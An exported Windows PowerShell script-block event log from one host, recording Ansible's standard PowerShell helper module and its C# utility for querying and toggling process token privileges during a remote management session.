ScriptBlock ID: 71533bbb-d92d-47ba-8bf5-57019d40d79d
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2210 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 1996 | 1536 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:05 AM | 61e00a24-ee3b-0005-a607-e7613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 2209 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 1996 | 2340 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:05 AM | 61e00a24-ee3b-0005-a407-e7613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 1996 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 2208 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 1996 | 4252 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:05 AM | 61e00a24-ee3b-0005-a407-e7613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 2207 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 1996 | 2340 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:05 AM | 61e00a24-ee3b-0005-a407-e7613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
# Copyright (c), Michael DeHaan <michael.dehaan@gmail.com>, 2014, and others
# Simplified BSD License (see licenses/simplified_bsd.txt or https://opensource.org/licenses/BSD-2-Clause)
Set-StrictMode -Version 2.0
$ErrorActionPreference = "Stop"
Function Set-Attr($obj, $name, $value)
{
<#
.SYNOPSIS
Helper function to set an "attribute" on a psobject instance in PowerShell.
This is a convenience to make adding Members to the object easier and
slightly more pythonic
.EXAMPLE
Set-Attr $result "changed" $true
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
Try
{
$obj.$name = $value
}
Catch
{
$obj | Add-Member -Force -MemberType NoteProperty -Name $name -Value $value
}
}
Function Exit-Json($obj)
{
<#
.SYNOPSIS
Helper function to convert a PowerShell object to JSON and output it, exiting
the script
.EXAMPLE
Exit-Json $result
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit
}
Function Fail-Json($obj, $message = $null)
{
<#
.SYNOPSIS
Helper function to add the "msg" property and "failed" property, convert the
PowerShell Hashtable to JSON and output it, exiting the script
.EXAMPLE
Fail-Json $result "This is the failure message"
#>
if ($obj -is [hashtable] -or $obj -is [psobject]) {
# Nothing to do
} elseif ($obj -is [string] -and $null -eq $message) {
# If we weren't given 2 args, and the only arg was a string,
# create a new Hashtable and use the arg as the failure message
$message = $obj
$obj = @{ }
} else {
# If the first argument is undefined or a different type,
# make it a Hashtable
$obj = @{ }
}
# Still using Set-Attr for PSObject compatibility
Set-Attr $obj "msg" $message
Set-Attr $obj "failed" $true
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit 1
}
Function Add-Warning($obj, $message)
{
<#
.SYNOPSIS
Helper function to add warnings, even if the warnings attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("warnings")) {
$obj.warnings = @()
} elseif ($obj.warnings -isnot [array]) {
throw "Add-Warning: warnings attribute is not an array"
}
$obj.warnings += $message
}
Function Add-DeprecationWarning($obj, $message, $version = $null)
{
<#
.SYNOPSIS
Helper function to add deprecations, even if the deprecations attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("deprecations")) {
$obj.deprecations = @()
} elseif ($obj.deprecations -isnot [array]) {
throw "Add-DeprecationWarning: deprecations attribute is not a list"
}
$obj.deprecations += @{
msg = $message
version = $version
}
}
Function Expand-Environment($value)
{
<#
.SYNOPSIS
Helper function to expand environment variables in values. By default
it turns any type to a string, but we ensure $null remains $null.
#>
if ($null -ne $value) {
[System.Environment]::ExpandEnvironmentVariables($value)
} else {
$value
}
}
Function Get-AnsibleParam($obj, $name, $default = $null, $resultobj = @{}, $failifempty = $false, $emptyattributefailmessage, $ValidateSet, $ValidateSetErrorMessage, $type = $null, $aliases = @())
{
<#
.SYNOPSIS
Helper function to get an "attribute" from a psobject instance in PowerShell.
This is a convenience to make getting Members from an object easier and
slightly more pythonic
.EXAMPLE
$attr = Get-AnsibleParam $response "code" -default "1"
.EXAMPLE
Get-AnsibleParam -obj $params -name "State" -default "Present" -ValidateSet "Present","Absent" -resultobj $resultobj -failifempty $true
Get-AnsibleParam also supports Parameter validation to save you from coding that manually
Note that if you use the failifempty option, you do need to specify resultobject as well.
#>
# Check if the provided Member $name or aliases exist in $obj and return it or the default.
try {
$found = $null
# First try to find preferred parameter $name
$aliases = @($name) + $aliases
# Iterate over aliases to find acceptable Member $name
foreach ($alias in $aliases) {
if ($obj.ContainsKey($alias)) {
$found = $alias
break
}
}
if ($null -eq $found) {
throw
}
$name = $found
if ($ValidateSet) {
if ($ValidateSet -contains ($obj.$name)) {
$value = $obj.$name
} else {
if ($null -eq $ValidateSetErrorMessage) {
#Auto-generated error should be sufficient in most use cases
$ValidateSetErrorMessage = "Get-AnsibleParam: Argument $name needs to be one of $($ValidateSet -join ",") but was $($obj.$name)."
}
Fail-Json -obj $resultobj -message $ValidateSetErrorMessage
}
} else {
$value = $obj.$name
}
} catch {
if ($failifempty -eq $false) {
$value = $default
} else {
if (-not $emptyattributefailmessage) {
$emptyattributefailmessage = "Get-AnsibleParam: Missing required argument: $name"
}
Fail-Json -obj $resultobj -message $emptyattributefailmessage
}
}
# If $value -eq $null, the parameter was unspecified by the user (deliberately or not)
# Please leave $null-values intact, modules need to know if a parameter was specified
# When $value is already an array, we cannot rely on the null check, as an empty list
# is seen as null in the check below
if ($null -ne $value -or $value -is [array]) {
if ($type -eq "path") {
# Expand environment variables on path-type
$value = Expand-Environment($value)
# Test if a valid path is provided
if (-not (Test-Path -IsValid $value)) {
$path_invalid = $true
# could still be a valid-shaped path with a nonexistent drive letter
if ($value -match "^\w:") {
# rewrite path with a valid drive letter and recheck the shape- this might still fail, eg, a nonexistent non-filesystem PS path
if (Test-Path -IsValid $(@(Get-PSDrive -PSProvider Filesystem)[0].Name + $value.Substring(1))) {
$path_invalid = $false
}
}
if ($path_invalid) {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' has an invalid path '$value' specified."
}
}
} elseif ($type -eq "str") {
# Convert str types to real Powershell strings
$value = $value.ToString()
} elseif ($type -eq "bool") {
# Convert boolean types to real Powershell booleans
$value = $value | ConvertTo-Bool
} elseif ($type -eq "int") {
# Convert int types to real Powershell integers
$value = $value -as [int]
} elseif ($type -eq "float") {
# Convert float types to real Powershell floats
$value = $value -as [float]
} elseif ($type -eq "list") {
if ($value -is [array]) {
# Nothing to do
} elseif ($value -is [string]) {
# Convert string type to real Powershell array
$value = $value.Split(",").Trim()
} elseif ($value -is [int]) {
$value = @($value)
} else {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' is not a YAML list."
}
# , is not a typo, forces it to return as a list when it is empty or only has 1 entry
return ,$value
}
}
return $value
}
#Alias Get-attr-->Get-AnsibleParam for backwards compat. Only add when needed to ease debugging of scripts
If (-not(Get-Alias -Name "Get-attr" -ErrorAction SilentlyContinue))
{
New-Alias -Name Get-attr -Value Get-AnsibleParam
}
Function ConvertTo-Bool
{
<#
.SYNOPSIS
Helper filter/pipeline function to convert a value to boolean following current
Ansible practices
.EXAMPLE
$is_true = "true" | ConvertTo-Bool
#>
param(
[parameter(valuefrompipeline=$true)]
$obj
)
$boolean_strings = "yes", "on", "1", "true", 1
$obj_string = [string]$obj
if (($obj -is [boolean] -and $obj) -or $boolean_strings -contains $obj_string.ToLower()) {
return $true
} else {
return $false
}
}
Function Parse-Args($arguments, $supports_check_mode = $false)
{
<#
.SYNOPSIS
Helper function to parse Ansible JSON arguments from a "file" passed as
the single argument to the module.
.EXAMPLE
$params = Parse-Args $args
#>
$params = New-Object psobject
If ($arguments.Length -gt 0)
{
$params = Get-Content $arguments[0] | ConvertFrom-Json
}
Else {
$params = $complex_args
}
$check_mode = Get-AnsibleParam -obj $params -name "_ansible_check_mode" -type "bool" -default $false
If ($check_mode -and -not $supports_check_mode)
{
Exit-Json @{
skipped = $true
changed = $false
msg = "remote module does not support check mode"
}
}
return $params
}
Function Get-FileChecksum($path, $algorithm = 'sha1')
{
<#
.SYNOPSIS
Helper function to calculate a hash of a file in a way which PowerShell 3
and above can handle
#>
If (Test-Path -Path $path -PathType Leaf)
{
switch ($algorithm)
{
'md5' { $sp = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider }
'sha1' { $sp = New-Object -TypeName System.Security.Cryptography.SHA1CryptoServiceProvider }
'sha256' { $sp = New-Object -TypeName System.Security.Cryptography.SHA256CryptoServiceProvider }
'sha384' { $sp = New-Object -TypeName System.Security.Cryptography.SHA384CryptoServiceProvider }
'sha512' { $sp = New-Object -TypeName System.Security.Cryptography.SHA512CryptoServiceProvider }
default { Fail-Json @{} "Unsupported hash algorithm supplied '$algorithm'" }
}
If ($PSVersionTable.PSVersion.Major -ge 4) {
$raw_hash = Get-FileHash $path -Algorithm $algorithm
$hash = $raw_hash.Hash.ToLower()
} Else {
$fp = [System.IO.File]::Open($path, [System.IO.Filemode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileShare]::ReadWrite);
$hash = [System.BitConverter]::ToString($sp.ComputeHash($fp)).Replace("-", "").ToLower();
$fp.Dispose();
}
}
ElseIf (Test-Path -Path $path -PathType Container)
{
$hash = "3";
}
Else
{
$hash = "1";
}
return $hash
}
Function Get-PendingRebootStatus
{
<#
.SYNOPSIS
Check if reboot is required, if so notify CA.
Function returns true if computer has a pending reboot
#>
$featureData = Invoke-WmiMethod -EA Ignore -Name GetServerFeature -Namespace root\microsoft\windows\servermanager -Class MSFT_ServerManagerTasks
$regData = Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager" "PendingFileRenameOperations" -EA Ignore
$CBSRebootStatus = Get-ChildItem "HKLM:\\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing" -ErrorAction SilentlyContinue| Where-Object {$_.PSChildName -eq "RebootPending"}
if(($featureData -and $featureData.RequiresReboot) -or $regData -or $CBSRebootStatus)
{
return $True
}
else
{
return $False
}
}
# this line must stay at the bottom to ensure all defined module parts are exported
Export-ModuleMember -Alias * -Function * -Cmdlet *
ScriptBlock ID: d81f467e-3963-401d-895a-f883b5894a15
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2206 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 1968 | 3228 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:05 AM | 61e00a24-ee3b-0003-73e3-ed613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 2):
::EnablePrivilege($process, $name)
[Ansible.PrivilegeUtil.Privileges]::GetAllPrivilegeInfo($process)
[Ansible.PrivilegeUtil.Privileges]::RemovePrivilege($process, $name)
[Ansible.PrivilegeUtil.Privileges]::SetTokenPrivileges($process, $new_state)
Here is a brief explanation of each type of arg
$process = The process handle to manipulate, use '[Ansible.PrivilegeUtils.Privileges]::GetCurrentProcess()' to get the current process handle
$name = The name of the privilege, this is the constant value from https://docs.microsoft.com/en-us/windows/desktop/SecAuthZ/privilege-constants, e.g. SeAuditPrivilege
$new_state = 'System.Collections.Generic.Dictionary`2[[System.String], [System.Nullable`1[System.Boolean]]]'
The key is the constant name as a string, the value is a ternary boolean where
true - will enable the privilege
false - will disable the privilege
null - will remove the privilege
Each method that changes the privilege state will return a dictionary that
can be used as the $new_state arg of SetTokenPrivileges to undo and revert
back to the original state. If you remove a privilege then this is
irreversible and won't be part of the returned dict
#>
[CmdletBinding()]
# build the C# code to compile
$namespace_import = ($ansible_privilege_util_namespaces | ForEach-Object { "using $_;" }) -join "`r`n"
$platform_util = "$namespace_import`r`n`r`n$ansible_privilege_util_code"
# FUTURE: find a better way to get the _ansible_remote_tmp variable
# this is used to force csc to compile the C# code in the remote tmp
# specified
$original_tmp = $env:TMP
$remote_tmp = $original_tmp
$module_params = Get-Variable -Name complex_args -ErrorAction SilentlyContinue
if ($module_params) {
if ($module_params.Value.ContainsKey("_ansible_remote_tmp") ) {
$remote_tmp = $module_params.Value["_ansible_remote_tmp"]
$remote_tmp = [System.Environment]::ExpandEnvironmentVariables($remote_tmp)
}
}
$env:TMP = $remote_tmp
Add-Type -TypeDefinition $platform_util
$env:TMP = $original_tmp
}
Function Get-AnsiblePrivilege {
<#
.SYNOPSIS
Get the status of a privilege for the current process. This returns
$true - the privilege is enabled
$false - the privilege is disabled
$null - the privilege is removed from the token
If Name is not a valid privilege name, this will throw an
ArgumentException.
.EXAMPLE
Get-AnsiblePrivilege -Name SeDebugPrivilege
#>
[CmdletBinding()]
param(
[Parameter(Mandatory=$true)][String]$Name
)
if (-not [Ansible.PrivilegeUtil.Privileges]::CheckPrivilegeName($Name)) {
throw [System.ArgumentException] "Invalid privilege name '$Name'"
}
$process_token = [Ansible.PrivilegeUtil.Privileges]::GetCurrentProcess()
$privilege_info = [Ansible.PrivilegeUtil.Privileges]::GetAllPrivilegeInfo($process_token)
if ($privilege_info.ContainsKey($Name)) {
$status = $privilege_info.$Name
return $status.HasFlag([Ansible.PrivilegeUtil.PrivilegeAttributes]::Enabled)
} else {
return $null
}
}
Function Set-AnsiblePrivilege {
<#
.SYNOPSIS
Enables/Disables a privilege on the current process' token. If a privilege
has been removed from the process token, this will throw an
InvalidOperationException.
.EXAMPLE
# enable a privilege
Set-AnsiblePrivilege -Name SeCreateSymbolicLinkPrivilege -Value $true
# disable a privilege
Set-AnsiblePrivilege -Name SeCreateSymbolicLinkPrivilege -Value $false
#>
[CmdletBinding(SupportsShouldProcess)]
param(
[Parameter(Mandatory=$true)][String]$Name,
[Parameter(Mandatory=$true)][bool]$Value
)
$action = switch($Value) {
$true { "Enable" }
$false { "Disable" }
}
$current_state = Get-AnsiblePrivilege -Name $Name
if ($current_state -eq $Value) {
return # no change needs to occur
} elseif ($null -eq $current_state) {
# once a privilege is removed from a token we cannot do anything with it
throw [System.InvalidOperationException] "Cannot $($action.ToLower()) the privilege '$Name' as it has been removed from the token"
}
$process_token = [Ansible.PrivilegeUtil.Privileges]::GetCurrentProcess()
if ($PSCmdlet.ShouldProcess($Name, "$action the privilege $Name")) {
$new_state = New-Object -TypeName 'System.Collections.Generic.Dictionary`2[[System.String], [System.Nullable`1[System.Boolean]]]'
$new_state.Add($Name, $Value)
[Ansible.PrivilegeUtil.Privileges]::SetTokenPrivileges($process_token, $new_state) > $null
}
}
Export-ModuleMember -Function Import-PrivilegeUtil, Get-AnsiblePrivilege, Set-AnsiblePrivilege `
-Variable ansible_privilege_util_namespaces, ansible_privilege_util_code
ScriptBlock ID: 56afa0d5-8def-4510-af05-94c709f63596
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2205 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 1968 | 3228 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:05 AM | 61e00a24-ee3b-0003-6fe3-ed613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 2):
# Copyright (c) 2018 Ansible Project
# Simplified BSD License (see licenses/simplified_bsd.txt or https://opensource.org/licenses/BSD-2-Clause)
# store in separate variables to make it easier for other module_utils to
# share this code in their own c# code
$ansible_privilege_util_namespaces = @(
"Microsoft.Win32.SafeHandles",
"System",
"System.Collections.Generic",
"System.Linq",
"System.Runtime.InteropServices",
"System.Security.Principal",
"System.Text"
)
$ansible_privilege_util_code = @'
namespace Ansible.PrivilegeUtil
{
[Flags]
public enum PrivilegeAttributes : uint
{
Disabled = 0x00000000,
EnabledByDefault = 0x00000001,
Enabled = 0x00000002,
Removed = 0x00000004,
UsedForAccess = 0x80000000,
}
internal class NativeHelpers
{
[StructLayout(LayoutKind.Sequential)]
internal struct LUID
{
public UInt32 LowPart;
public Int32 HighPart;
}
[StructLayout(LayoutKind.Sequential)]
internal struct LUID_AND_ATTRIBUTES
{
public LUID Luid;
public PrivilegeAttributes Attributes;
}
[StructLayout(LayoutKind.Sequential)]
internal struct TOKEN_PRIVILEGES
{
public UInt32 PrivilegeCount;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 1)]
public LUID_AND_ATTRIBUTES[] Privileges;
}
}
internal class NativeMethods
{
[DllImport("advapi32.dll", SetLastError = true)]
internal static extern bool AdjustTokenPrivileges(
IntPtr TokenHandle,
[MarshalAs(UnmanagedType.Bool)] bool DisableAllPrivileges,
IntPtr NewState,
UInt32 BufferLength,
IntPtr PreviousState,
out UInt32 ReturnLength);
[DllImport("kernel32.dll")]
internal static extern bool CloseHandle(
IntPtr hObject);
[DllImport("kernel32")]
internal static extern SafeWaitHandle GetCurrentProcess();
[DllImport("advapi32.dll", SetLastError = true)]
internal static extern bool GetTokenInformation(
IntPtr TokenHandle,
UInt32 TokenInformationClass,
IntPtr TokenInformation,
UInt32 TokenInformationLength,
out UInt32 ReturnLength);
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
internal static extern bool LookupPrivilegeName(
string lpSystemName,
ref NativeHelpers.LUID lpLuid,
StringBuilder lpName,
ref UInt32 cchName);
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
internal static extern bool LookupPrivilegeValue(
string lpSystemName,
string lpName,
out NativeHelpers.LUID lpLuid);
[DllImport("advapi32.dll", SetLastError = true)]
internal static extern bool OpenProcessToken(
SafeHandle ProcessHandle,
TokenAccessLevels DesiredAccess,
out IntPtr TokenHandle);
}
public class Win32Exception : System.ComponentModel.Win32Exception
{
private string _msg;
public Win32Exception(string message) : this(Marshal.GetLastWin32Error(), message) { }
public Win32Exception(int errorCode, string message) : base(errorCode)
{
_msg = String.Format("{0} ({1}, Win32ErrorCode {2})", message, base.Message, errorCode);
}
public override string Message { get { return _msg; } }
public static explicit operator Win32Exception(string message) { return new Win32Exception(message); }
}
public class Privileges
{
private static readonly UInt32 TOKEN_PRIVILEGES = 3;
public static bool CheckPrivilegeName(string name)
{
NativeHelpers.LUID luid;
if (!NativeMethods.LookupPrivilegeValue(null, name, out luid))
{
int errCode = Marshal.GetLastWin32Error();
if (errCode != 1313) // ERROR_NO_SUCH_PRIVILEGE
throw new Win32Exception(errCode, String.Format("LookupPrivilegeValue({0}) failed", name));
return false;
}
else
{
return true;
}
}
public static Dictionary<string, bool?> DisablePrivilege(SafeHandle token, string privilege)
{
return SetTokenPrivileges(token, new Dictionary<string, bool?>() { { privilege, false } });
}
public static Dictionary<string, bool?> DisableAllPrivileges(SafeHandle token)
{
return AdjustTokenPrivileges(token, null);
}
public static Dictionary<string, bool?> EnablePrivilege(SafeHandle token, string privilege)
{
return SetTokenPrivileges(token, new Dictionary<string, bool?>() { { privilege, true } });
}
public static Dictionary<String, PrivilegeAttributes> GetAllPrivilegeInfo(SafeHandle token)
{
IntPtr hToken = IntPtr.Zero;
if (!NativeMethods.OpenProcessToken(token, TokenAccessLevels.Query, out hToken))
throw new Win32Exception("OpenProcessToken() failed");
Dictionary<String, PrivilegeAttributes> info = new Dictionary<String, PrivilegeAttributes>();
try
{
UInt32 tokenLength = 0;
NativeMethods.GetTokenInformation(hToken, TOKEN_PRIVILEGES, IntPtr.Zero, 0, out tokenLength);
NativeHelpers.LUID_AND_ATTRIBUTES[] privileges;
IntPtr privilegesPtr = Marshal.AllocHGlobal((int)tokenLength);
try
{
if (!NativeMethods.GetTokenInformation(hToken, TOKEN_PRIVILEGES, privilegesPtr, tokenLength, out tokenLength))
throw new Win32Exception("GetTokenInformation() for TOKEN_PRIVILEGES failed");
NativeHelpers.TOKEN_PRIVILEGES privilegeInfo = (NativeHelpers.TOKEN_PRIVILEGES)Marshal.PtrToStructure(privilegesPtr, typeof(NativeHelpers.TOKEN_PRIVILEGES));
privileges = new NativeHelpers.LUID_AND_ATTRIBUTES[privilegeInfo.PrivilegeCount];
PtrToStructureArray(privileges, IntPtr.Add(privilegesPtr, Marshal.SizeOf(privilegeInfo.PrivilegeCount)));
}
finally
{
Marshal.FreeHGlobal(privilegesPtr);
}
info = privileges.ToDictionary(p => GetPrivilegeName(p.Luid), p => p.Attributes);
}
finally
{
NativeMethods.CloseHandle(hToken);
}
return info;
}
public static SafeWaitHandle GetCurrentProcess()
{
return NativeMethods.GetCurrentProcess();
}
public static void RemovePrivilege(SafeHandle token, string privilege)
{
SetTokenPrivileges(token, new Dictionary<string, bool?>() { { privilege, null } });
}
public static Dictionary<string, bool?> SetTokenPrivileges(SafeHandle token, Dictionary<string, bool?> state)
{
NativeHelpers.LUID_AND_ATTRIBUTES[] privilegeAttr = new NativeHelpers.LUID_AND_ATTRIBUTES[state.Count];
int i = 0;
foreach (KeyValuePair<string, bool?> entry in state)
{
NativeHelpers.LUID luid;
if (!NativeMethods.LookupPrivilegeValue(null, entry.Key, out luid))
throw new Win32Exception(String.Format("LookupPrivilegeValue({0}) failed", entry.Key));
PrivilegeAttributes attributes;
switch (entry.Value)
{
case true:
attributes = PrivilegeAttributes.Enabled;
break;
case false:
attributes = PrivilegeAttributes.Disabled;
break;
default:
attributes = PrivilegeAttributes.Removed;
break;
}
privilegeAttr[i].Luid = luid;
privilegeAttr[i].Attributes = attributes;
i++;
}
return AdjustTokenPrivileges(token, privilegeAttr);
}
private static Dictionary<string, bool?> AdjustTokenPrivileges(SafeHandle token, NativeHelpers.LUID_AND_ATTRIBUTES[] newState)
{
bool disableAllPrivileges;
IntPtr newStatePtr;
NativeHelpers.LUID_AND_ATTRIBUTES[] oldStatePrivileges;
UInt32 returnLength;
if (newState == null)
{
disableAllPrivileges = true;
newStatePtr = IntPtr.Zero;
}
else
{
disableAllPrivileges = false;
// Need to manually marshal the bytes requires for newState as the constant size
// of LUID_AND_ATTRIBUTES is set to 1 and can't be overridden at runtime, TOKEN_PRIVILEGES
// always contains at least 1 entry so we need to calculate the extra size if there are
// nore than 1 LUID_AND_ATTRIBUTES entry
int tokenPrivilegesSize = Marshal.SizeOf(typeof(NativeHelpers.TOKEN_PRIVILEGES));
int luidAttrSize = 0;
if (newState.Length > 1)
luidAttrSize = Marshal.SizeOf(typeof(NativeHelpers.LUID_AND_ATTRIBUTES)) * (newState.Length - 1);
int totalSize = tokenPrivilegesSize + luidAttrSize;
byte[] newStateBytes = new byte[totalSize];
// get the first entry that includes the struct details
NativeHelpers.TOKEN_PRIVILEGES tokenPrivileges = new NativeHelpers.TOKEN_PRIVILEGES()
{
PrivilegeCount = (UInt32)newState.Length,
Privileges = new NativeHelpers.LUID_AND_ATTRIBUTES[1],
};
if (newState.Length > 0)
tokenPrivileges.Privileges[0] = newState[0];
int offset = StructureToBytes(tokenPrivileges, newStateBytes, 0);
// copy the remaining LUID_AND_ATTRIBUTES (if any)
for (int i = 1; i < newState.Length; i++)
offset += StructureToBytes(newState[i], newStateBytes, offset);
// finally create the pointer to the byte array we just created
newStatePtr = Marshal.AllocHGlobal(newStateBytes.Length);
Marshal.Copy(newStateBytes, 0, newStatePtr, newStateBytes.Length);
}
try
{
IntPtr hToken = IntPtr.Zero;
if (!NativeMethods.OpenProcessToken(token, TokenAccessLevels.Query | TokenAccessLevels.AdjustPrivileges, out hToken))
throw new Win32Exception("OpenProcessToken() failed with Query and AdjustPrivileges");
try
{
IntPtr oldStatePtr = Marshal.AllocHGlobal(0);
if (!NativeMethods.AdjustTokenPrivileges(hToken, disableAllPrivileges, newStatePtr, 0, oldStatePtr, out returnLength))
{
int errCode = Marshal.GetLastWin32Error();
if (errCode != 122) // ERROR_INSUFFICIENT_BUFFER
throw new Win32Exception(errCode, "AdjustTokenPrivileges() failed to get old state size");
}
// resize the oldStatePtr based on the length returned from Windows
Marshal.FreeHGlobal(oldStatePtr);
oldStatePtr = Marshal.AllocHGlobal((int)returnLength);
try
{
bool res = NativeMethods.AdjustTokenPrivileges(hToken, disableAllPrivileges, newStatePtr, returnLength, oldStatePtr, out returnLength);
int errCode = Marshal.GetLastWin32Error();
// even when res == true, ERROR_NOT_ALL_ASSIGNED may be set as the last error code
if (!res || errCode != 0)
throw new Win32Exception(errCode, "AdjustTokenPrivileges() failed");
// Marshal the oldStatePtr to the struct
NativeHelpers.TOKEN_PRIVILEGES oldState = (NativeHelpers.TOKEN_PRIVILEGES)Marshal.PtrToStructure(oldStatePtr, typeof(NativeHelpers.TOKEN_PRIVILEGES));
oldStatePrivileges = new NativeHelpers.LUID_AND_ATTRIBUTES[oldState.PrivilegeCount];
PtrToStructureArray(oldStatePrivileges, IntPtr.Add(oldStatePtr, Marshal.SizeOf(oldState.PrivilegeCount)));
}
finally
{
Marshal.FreeHGlobal(oldStatePtr);
}
}
finally
{
NativeMethods.CloseHandle(hToken);
}
}
finally
{
if (newStatePtr != IntPtr.Zero)
Marshal.FreeHGlobal(newStatePtr);
}
return oldStatePrivileges.ToDictionary(p => GetPrivilegeName(p.Luid), p => (bool?)p.Attributes.HasFlag(PrivilegeAttributes.Enabled));
}
private static string GetPrivilegeName(NativeHelpers.LUID luid)
{
UInt32 nameLen = 0;
NativeMethods.LookupPrivilegeName(null, ref luid, null, ref nameLen);
StringBuilder name = new StringBuilder((int)(nameLen + 1));
if (!NativeMethods.LookupPrivilegeName(null, ref luid, name, ref nameLen))
throw new Win32Exception("LookupPrivilegeName() failed");
return name.ToString();
}
private static void PtrToStructureArray<T>(T[] array, IntPtr ptr)
{
IntPtr ptrOffset = ptr;
for (int i = 0; i < array.Length; i++, ptrOffset = IntPtr.Add(ptrOffset, Marshal.SizeOf(typeof(T))))
array[i] = (T)Marshal.PtrToStructure(ptrOffset, typeof(T));
}
private static int StructureToBytes<T>(T structure, byte[] array, int offset)
{
int size = Marshal.SizeOf(structure);
IntPtr structPtr = Marshal.AllocHGlobal(size);
try
{
Marshal.StructureToPtr(structure, structPtr, false);
Marshal.Copy(structPtr, array, offset, size);
}
finally
{
Marshal.FreeHGlobal(structPtr);
}
return size;
}
}
}
'@
Function Import-PrivilegeUtil {
<#
.SYNOPSIS
Compiles the C# code that can be used to manage Windows privileges from an
Ansible module. Once this function is called, the following PowerShell
cmdlets can be used;
Get-AnsiblePrivilege
Set-AnsiblePrivilege
The above cmdlets give the ability to manage permissions on the current
process token but the underlying .NET classes are also exposed for greater
control. The following functions can be used by calling the .NET class
[Ansible.PrivilegeUtil.Privileges]::CheckPrivilegeName($name)
[Ansible.PrivilegeUtil.Privileges]::DisablePrivilege($process, $name)
[Ansible.PrivilegeUtil.Privileges]::DisableAllPrivileges($process)
[Ansible.PrivilegeUtil.Privileges]
ScriptBlock ID: 56afa0d5-8def-4510-af05-94c709f63596
